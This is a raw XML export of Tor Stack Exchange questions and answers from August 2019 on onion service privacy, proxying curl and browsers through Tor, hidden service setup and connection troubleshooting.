  <row Id="20164" PostTypeId="1" CreationDate="2019-08-13T18:46:29.687" Score="2" ViewCount="333" Body="&lt;p&gt;&lt;a href=&quot;https://karl-voit.at/2016/02/07/accessing-home-ssh-via-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This tutorial&lt;/a&gt; teaches how to register a hidden service and point it to a server's SSH port, so that we can keep this port closed on the open Internet and acess it from inside Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this seemed odd to me. If for whatever reason it's not secure to let port 22 open on Internet, why'd it be so inside Tor? What kind of thing would change security risks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I register an onion domain and don't tell it to anybody and if I'm not hacked and this domain is found, can it be found in anyway other way? Is it certain to say that nobody will discover it if not by my telling or stealing directly from me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is Tor hidden services aimed at reducing security risks? Isn't it aimed at anonymously serve contents and services in a way that an adversary wouldn't know where our service/content is hosted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if it's indeed a security good practice, or at least if it doesn't increase risks, since I alrdy use Tor outside home, I'd like to make some of my stuff available for me only.&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2021-05-13T06:01:10.103" Title="Can a onion domain I register be discovered if I don't make it public?" Tags="|onion-services|security|ssh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20165" PostTypeId="1" CreationDate="2019-08-13T20:19:52.180" Score="0" ViewCount="46" Body="&lt;p&gt;I understand that asking directly if they've been served with FISA warrants would get a 'No' since these warrants come with a gag order. So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the Tor Project (or anyone) prove that they haven't been served with FISA warrants? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if they've been served - what info can you provide on them (scope, when, etc)?&lt;/p&gt;&#xA;" OwnerUserId="27508" LastEditorUserId="27508" LastEditDate="2019-08-13T21:33:17.440" LastActivityDate="2019-08-13T21:33:17.440" Title="Can the Tor Project prove that they haven't been served with FISA warrants? If so, how?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20166" PostTypeId="1" AcceptedAnswerId="21332" CreationDate="2019-08-13T21:32:03.273" Score="0" ViewCount="286" Body="&lt;p&gt;I understand that asking directly if they've been approached and asked would get a 'No' since these requests probably come with a gag order. So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the Tor Project (or anyone) prove that they haven't been told or made by any gov't (US or otherwise) or gov't agency (3-letter agencies) to put a backdoor(s) into TOR?&lt;/p&gt;&#xA;" OwnerUserId="27508" LastActivityDate="2020-06-16T08:12:33.147" Title="Has any gov't or gov't agency told or made the Tor Project put a backdoor(s) into TOR?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20168" PostTypeId="2" ParentId="16735" CreationDate="2019-08-14T03:27:04.703" Score="0" Body="&lt;p&gt;Yes, but not as efficiently as a single arbitrarily long circuit.&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/2667&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ticket 2667&lt;/a&gt; has never been fixed.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2019-08-14T03:27:04.703" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20172" PostTypeId="1" CreationDate="2019-08-15T05:57:43.117" Score="2" ViewCount="127" Body="&lt;p&gt;While reading about botnets leveraging Tor hidden services for command and control I came across a term I have never seen or read about anywhere a private Tor network I tried researching this term however could not find anything that answered my question what is a Tor private network and how would someone set one up? To be clear I am not asking about the benefits and downsides I am only asking what it is the pros and cons already have a answer at &lt;a href=&quot;https://security.stackexchange.com/questions/4424/private-tor-networks-what-are-the-benefits-and-how-would-it-be-accomplished&quot;&gt;Private Tor networks: what are the benefits, and how would it be accomplished?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27518" OwnerDisplayName="Jerry" LastEditorUserId="27518" LastEditDate="2019-08-15T16:51:48.593" LastActivityDate="2019-08-15T16:51:48.593" Title="What is a private Tor network" Tags="|configuration|onion-services|network-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20174" PostTypeId="1" CreationDate="2019-08-15T17:55:34.107" Score="0" ViewCount="414" Body="&lt;p&gt;How do i setup a private hidden service on localhost&#xA;My question is how do i setup a private hidden service that can not be accessed by rest of the Tor network i wish to run this hidden service on my computer my reason is i want to test a program i developed that connects to the TOR network and connects to my hidden service i don't want to setup a VPS since i only need the hidden service for a few hours at most  &lt;/p&gt;&#xA;" OwnerUserId="27518" LastActivityDate="2022-05-05T00:07:20.737" Title="How to setup a local hidden service" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20175" PostTypeId="1" CreationDate="2019-08-15T18:45:02.700" Score="4" ViewCount="2945" Body="&lt;p&gt;I am attempting to download a file from a hidden service using curl. I downloaded the Tor client and launched it and from another terminal executed this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 socks5://127.0.0.1:9050 https://check.torproject.org &amp;gt; /tmp/output.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After listing the contents of tmp I catted the file along with grepping for 'browser'. I found congratulations this browser is configured to use Tor. However when I attempt to connect to a hidden service it fails to resolve the hostname which i checked within Tor browser and it loads. I tried using &lt;code&gt;--socks5-hostname localhost:9050&lt;/code&gt; and it downloaded the page just fine from the hidden service. Why is this? &lt;/p&gt;&#xA;" OwnerUserId="27518" LastEditorUserId="88" LastEditDate="2019-08-16T14:34:39.367" LastActivityDate="2019-09-25T22:39:22.037" Title="Why doesn't curl download from file a onion service?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20177" PostTypeId="2" ParentId="20175" CreationDate="2019-08-16T17:31:22.770" Score="3" Body="&lt;p&gt;According to &lt;code&gt;man curl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--socks5 &amp;lt;host[:port]&amp;gt;&#xA;       Use the specified SOCKS5 proxy  -  but  resolve  the  host  name&#xA;       locally.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means &lt;code&gt;--socks5&lt;/code&gt; will use local resolver which CANNOT resolve &lt;code&gt;.onion&lt;/code&gt; names UNLESS you configured it to do so and configured &lt;code&gt;tor&lt;/code&gt; relay to do IP address allocation for hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--socks5-hostname&lt;/code&gt; has this information in the man page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--socks5-hostname &amp;lt;host[:port]&amp;gt;&#xA;       Use  the  specified  SOCKS5 proxy (and let the proxy resolve the&#xA;       host name).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This lets &lt;code&gt;tor&lt;/code&gt; and its socks proxy do the resolution and handle the &lt;code&gt;.onion&lt;/code&gt; name hence the connection succeeds.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2019-08-16T17:31:22.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20178" PostTypeId="1" CreationDate="2019-08-16T23:59:29.260" Score="0" ViewCount="41" Body="&lt;p&gt;I'm configuring a newsgroup software to connect to a news/NNTP server thru TOR (tor-win32) as a proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where do I put tor-win32 info within newsgroup software and where do I put&#xA;news/NNTP server within TOR/tor-win32 arguement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank's in advance :)&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2019-08-16T23:59:29.260" Title="using tor-win32/TOR as a proxy for newsgroup software" Tags="|configuration|windows|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20180" PostTypeId="2" ParentId="20175" CreationDate="2019-08-17T06:33:04.200" Score="1" Body="&lt;p&gt;Install torsocks. This is a wrapper that will allow command line tools like curl to use the Tor service in Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torsocks curl yz7lpwfhhzcdyc5y.onion&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-17T06:33:04.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20181" PostTypeId="2" ParentId="20174" CreationDate="2019-08-17T06:51:15.823" Score="0" Body="&lt;p&gt;You have two options. You can either set up a V3 onion service. This will create a 56-character url which will be nearly impossible to find on Tor unless you know the address. Directions are &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-onion-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other method is to create your own Tor network at home. This may be a lot more work than you are looking to do but it looks like you can &lt;a href=&quot;https://github.com/antitree/private-tor-network&quot; rel=&quot;nofollow noreferrer&quot;&gt;set this up in Docker&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-17T06:51:15.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20182" PostTypeId="2" ParentId="20166" CreationDate="2019-08-17T06:55:48.920" Score="0" Body="&lt;p&gt;They prove it by giving you &lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;the complete source code for Tor&lt;/a&gt;. If you find a backdoor, then report it immediately to the Tor Project and then responsibly report it to the general public.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-17T06:55:48.920" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20183" PostTypeId="2" ParentId="20159" CreationDate="2019-08-17T07:36:31.753" Score="0" Body="&lt;p&gt;I found the &lt;a href=&quot;https://www.onion-router.net/Publications/IH-1996.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper&lt;/a&gt; you reference. It was written in 1996 but the first version of Tor was written in 2002. &lt;strong&gt;This was just a theoretical precursor&lt;/strong&gt; that was written years before the actual Tor project began. It doesn't have much relation to the actual Tor network today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Figure 1 illustrates the topology of an Onion Routing network with&#xA;  five nodes, one of which (W) is the Proxy/Routing node for the&#xA;  initiator's site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(W) is what we now call a Guard Node in Tor. &lt;/li&gt;&#xA;&lt;li&gt;&quot;A secured site&quot; Is&#xA;protected by a firewall/intranet.  Remember this is 1996 and before&#xA;the widespread advent of https. &lt;/li&gt;&#xA;&lt;li&gt;(Z) is an exit note &lt;/li&gt;&#xA;&lt;li&gt;(U), (Y), (X) are middle nodes. In Tor today there are only 3 notes total between you and the internet site that you are trying to connect to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can find a much better paper detailing the modern Tor project &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. You can also write to one of the authors for better answers. Paul Syverson's website with contact information is &lt;a href=&quot;http://www.syverson.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-17T07:36:31.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20184" PostTypeId="2" ParentId="20147" CreationDate="2019-08-17T08:00:55.397" Score="1" Body="&lt;p&gt;In almost every Linux and BSD distribution you can install the Tor service using the package management. Tor even provides this themselves for &lt;a href=&quot;https://2019.www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debian and Ubuntu&lt;/a&gt;. Most good distros even keep their Tor packages up to date with the latest updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't say anything about Macs because I don't use them.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-17T08:00:55.397" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20186" PostTypeId="2" ParentId="17914" CreationDate="2019-08-17T23:56:21.233" Score="0" Body="&lt;p&gt;Erase data and restore from a backup (or snapshot) if you can. This problem is more of a professional's job than fixing it on your own... maybe you should seek the advice of a consultant?&lt;/p&gt;&#xA;" OwnerUserId="27535" LastActivityDate="2019-08-17T23:56:21.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20187" PostTypeId="1" CreationDate="2019-08-18T05:09:21.963" Score="2" ViewCount="8615" Body="&lt;p&gt;I want to know if I can configure TOR on Linux to change / rotate IP every 30 seconds or say X seconds . &#xA;I have tor setup but I don't want to keep browsing with same IP and want to change it every few seconds.&lt;/p&gt;&#xA;" OwnerUserId="27536" LastActivityDate="2022-11-25T05:40:37.873" Title="How to change IP Address every few seconds with TOR in Linux" Tags="|configuration|anonymity|linux|ip-address|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20189" PostTypeId="2" ParentId="17914" CreationDate="2019-08-19T00:48:51.930" Score="1" Body="&lt;p&gt;You can decrypt your files at no cost:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/free-decrypter-available-for-gandcrab-ransomware-victims/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bleepingcomputer.com/news/security/free-decrypter-available-for-gandcrab-ransomware-victims/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/fbi-releases-master-decryption-keys-for-gandcrab-ransomware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bleepingcomputer.com/news/security/fbi-releases-master-decryption-keys-for-gandcrab-ransomware/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27542" LastActivityDate="2019-08-19T00:48:51.930" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20190" PostTypeId="1" CreationDate="2019-08-19T02:06:02.373" Score="1" ViewCount="604" Body="&lt;p&gt;I just want to use tor with palemoon and want to know if its possible or not. I need tor because i can refresh the ips and needs works with imacros a program that repeat tasks. But how i can do so tor will work with palemoon and imacros. some trick or solution to this&lt;/p&gt;&#xA;" OwnerUserId="27543" LastActivityDate="2022-05-17T07:00:10.027" Title="Using tor with palemoon is possible or not" Tags="|chat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20192" PostTypeId="2" ParentId="20190" CreationDate="2019-08-19T19:55:07.523" Score="0" Body="&lt;p&gt;On Linux:&#xA;Install the tor application, and enable and start the service. In Palemoon, go to the Tools -&gt; Settings -&gt; Advanced -&gt; Network -&gt; Settings. Choose Manual Proxy configuration. Socks Host: 127.0.0.1 Port 9050. Check: Use Proxy to perform DNS Queries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows:&#xA;Start the Tor Browser to start the Tor Proxy. In Palemoon, go to the Tools -&gt; Settings -&gt; Advanced -&gt; Network -&gt; Settings. Choose Manual Proxy configuration.&#xA;Socks Host: 127.0.0.1 Port 9150. Check: Use Proxy to perform DNS Queries&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-19T19:55:07.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20194" PostTypeId="1" CreationDate="2019-08-20T03:43:28.517" Score="0" ViewCount="757" Body="&lt;p&gt;There has long been an effort to encrypt DNS queries between the client and the recursive server to increase privacy. Firefox already supports DNS-over-HTTPS. But is Tor Browser, executed from Tails, compatible with DoT and/or DoH?&lt;/p&gt;&#xA;" OwnerUserId="27478" LastActivityDate="2022-01-08T00:07:35.693" Title="Can I use DNS over TLS or DNS over HTTPS in Tor Browser, executed from Tails?" Tags="|tails|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20195" PostTypeId="1" CreationDate="2019-08-20T04:09:19.770" Score="0" ViewCount="39" Body="&lt;pre&gt;&lt;code&gt;8/20/19, 03:47:00.192 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/20/19, 03:54:51.291 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/20/19, 03:54:51.291 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/20/19, 03:54:51.291 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/20/19, 03:54:51.291 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;8/20/19, 03:54:51.291 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;8/20/19, 03:54:56.236 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;8/20/19, 03:54:56.237 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;8/20/19, 03:55:56.297 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host 97700DFE9F483596DDA6264C4D7DF7641E1E39CE at 0.0.2.0:2) &#xA;8/20/19, 03:55:56.298 [WARN] 1 connections have failed: &#xA;8/20/19, 03:55:56.298 [WARN] 1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;8/20/19, 03:55:56.316 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/20/19, 03:55:56.316 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27550" LastEditorUserId="5234" LastEditDate="2019-10-13T16:00:07.543" LastActivityDate="2019-10-13T16:00:07.543" Title="am failing to connect to tor and below is my log. i have tried using the meek brdges but nothing seems to work. i need help" Tags="|error|connection|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20196" PostTypeId="2" ParentId="17471" CreationDate="2019-08-21T17:11:02.653" Score="0" Body="&lt;p&gt;I'm thinking of two different ways to do this. You didn't mention what kind of app, but let's say it's a simple web app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Allow both internet and tor traffic at the same time. You, as the app provider, will not have any anonymity because your IP will be accessible from the outside but your users can user with Tor or your IP to access it. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Provide a link to your service via tor2web. This service will allow you to provide a clearnet address to your service. This will reduce or eliminate your user's anonymity because there is no way to know if tor2web is gathering and sharing that data. Though you will still be anonymous.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are a more advanced developer, there are Tor APIs for Python and other languages where you can write your own proxy to your onion service. See &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-21T17:11:02.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20197" PostTypeId="2" ParentId="12812" CreationDate="2019-08-21T17:26:43.163" Score="0" Body="&lt;p&gt;Review an nginx hardening guide. There are several of them online. The &lt;a href=&quot;https://mailman.nginx.org/mailman/listinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;nginx mailing list&lt;/a&gt; is probably a great place to start for advice on hardening if you have specific questions about hardening best practices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to actual web apps running as onion services, you can use &lt;a href=&quot;https://onionscan.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionScan&lt;/a&gt; to do a basic pen test of your app to see if your IP is leaking any other common problems that onion services have. &lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-21T17:26:43.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20198" PostTypeId="2" ParentId="20194" CreationDate="2019-08-21T18:12:41.503" Score="0" Body="&lt;p&gt;Tor always uses SOCKS5 and requests DNS over Tor. This is a requirement if you want to access onion services. This is the same on Tails as it is with Tor Browser for regular Linux, Windows, or Mac.  If you use Tor with any other application outside of Tails, you have to manually make sure that application allows that kind of proxy.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-21T18:12:41.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20199" PostTypeId="2" ParentId="20164" CreationDate="2019-08-21T19:10:44.963" Score="2" Body="&lt;p&gt;If you are using a v2 address. It is theoretically possible for it to be found on accident. &lt;a href=&quot;https://en.wikipedia.org/wiki/Security_through_obscurity&quot; rel=&quot;nofollow noreferrer&quot;&gt;Security via obscurity&lt;/a&gt; isn't very good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you up your game. Instead, you use a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/NextGenOnions#Howtoconnecttothetesthubfornextgenonionservices&quot; rel=&quot;nofollow noreferrer&quot;&gt;v3 address&lt;/a&gt;. This one is 56 characters long and very unlikely to ever be stumbled upon. Furthermore it has some build in protections that keep it more safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add one more step to this by running your service on port 2222 or 8888 or something completely random like port 23485. You have made your service practically impossible to find.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, is Tor hidden services aimed at reducing security risks? Isn't&#xA;  it aimed at anonymously serve contents and services in a way that an&#xA;  adversary wouldn't know where our service/content is hosted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes you're right, you will still want to perform hardening best practices like with any other web application. Just because it's on Tor doesn't mean that you get a free pass with security.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anyway, if it's indeed a security good practice, or at least if it&#xA;  doesn't increase risks, since I alrdy use Tor outside home, I'd like&#xA;  to make some of my stuff available for me only.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I do this myself. In my apartment, I run nextcloud so I can sync everything to my NAS on the local lan. The nextcloud instance also has an v3 onion service running on a funky port. If I need to grab something from the NAS while I am out, I can connect via Tor on my laptop or my phone and get it. &lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2019-08-21T19:33:16.447" LastActivityDate="2019-08-21T19:33:16.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20201" PostTypeId="1" CreationDate="2019-08-21T23:47:08.720" Score="6" ViewCount="2009" Body="&lt;p&gt;I just want to use the tor service in my ubuntu 16.04 and use the tor network without the browser of tor because i want to use it in palemoon browser. How i could do it? Some way to use tor service directly? Which are the steps ?&lt;/p&gt;&#xA;" OwnerUserId="27564" LastEditorUserId="34683" LastEditDate="2022-08-08T18:01:51.130" LastActivityDate="2022-08-08T18:02:39.220" Title="Use the Tor service without using Tor browser?" Tags="|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20202" PostTypeId="2" ParentId="20164" CreationDate="2019-08-22T03:25:09.007" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If for whatever reason it's not secure to let port 22 open on Internet, why'd it be so inside Tor? What kind of thing would change security risks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You could be behind some corporate firewall that blocks SSH, while Tor is slightly harder to block.&lt;/li&gt;&#xA;&lt;li&gt;You may not want to expose your home IP address to the Internet.&lt;/li&gt;&#xA;&lt;li&gt;Tor has a hidden service authorization feature that allows you to control &lt;strong&gt;who&lt;/strong&gt; can connect to the SSH server, which reduces the attack surface.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I register an onion domain and don't tell it to anybody and if I'm not hacked and this domain is found, can it be found in anyway other way? Is it certain to say that nobody will discover it if not by my telling or stealing directly from me?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;hidden service protocol v2&lt;/a&gt;, this is mission impossible. &lt;a href=&quot;https://www.ieee-security.org/TC/SP2013/papers/4977a080.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Anyone can harvest your hidden service descriptor by impersonating HSDirs&lt;/a&gt;, unless you are using 'stealth' authorization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hidden service protocol v3&lt;/a&gt; is designed with harvest attack resistance in mind, so you &lt;strong&gt;might&lt;/strong&gt; be able to be certain to say so. It is not completely impossible to harvest, though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, is Tor hidden services aimed at reducing security risks? Isn't it aimed at anonymously serve contents and services in a way that an adversary wouldn't know where our service/content is hosted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor hidden services are mainly aimed at anonymity, but providing extra security is also a goal.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anyway, if it's indeed a security good practice, or at least if it doesn't increase risks, since I alrdy use Tor outside home, I'd like to make some of my stuff available for me only.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#_client_authorization&quot; rel=&quot;nofollow noreferrer&quot;&gt;Client Authorization&lt;/a&gt; for v3 hidden services. &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#HiddenServiceAuthorizeClient&quot; rel=&quot;nofollow noreferrer&quot;&gt;Use 'stealth' mode authorization&lt;/a&gt; if you stick to v2 hidden services. Using random ports somehow helps, but it is another kind of security via obscurity, so I would not recommend doing so.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2019-08-22T03:25:09.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20204" PostTypeId="2" ParentId="20201" CreationDate="2019-08-23T06:53:00.530" Score="2" Body="&lt;p&gt;I don't recommend that as unlike Tor-browser, even browsers known for security (like Brave) do in fact connect to agencies, but if you just want an answer, try something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor&#xA;sudo systemctl enable tor&#xA;sudo systemctl start tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Palemoon, go to the Tools -&amp;gt; Settings -&amp;gt; Advanced -&amp;gt; Network -&amp;gt; Settings. Choose Manual Proxy configuration. Socks Host: 127.0.0.1 Port 9050. Check: Use Proxy to perform DNS Queries&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="34683" LastEditDate="2022-08-08T18:02:39.220" LastActivityDate="2022-08-08T18:02:39.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20206" PostTypeId="2" ParentId="1782" CreationDate="2019-08-24T07:34:35.427" Score="0" Body="&lt;p&gt;Current as of writing this - &lt;em&gt;directory browsing&lt;/em&gt; is turned on so you can go to &lt;a href=&quot;https://dist.torproject.org/torbrowser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/&lt;/a&gt; and look through it yourself.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://dist.torproject.org/torbrowser/8.5.4/tor-win64-0.4.0.5.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/8.5.4/tor-win64-0.4.0.5.zip&lt;/a&gt; gets you just the tor.exe / tor-gencert.exe binaries + needed libraries&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://dist.torproject.org/torbrowser/8.5.4/torbrowser-install-8.5.4_en-US.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/8.5.4/torbrowser-install-8.5.4_en-US.exe&lt;/a&gt; is the installer, but 7-zip can open it up just fine. Running &quot;firefox.exe&quot; from the unpacked files will prompt you to connect to the Tor network and start the Tor Browser.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27576" LastActivityDate="2019-08-24T07:34:35.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
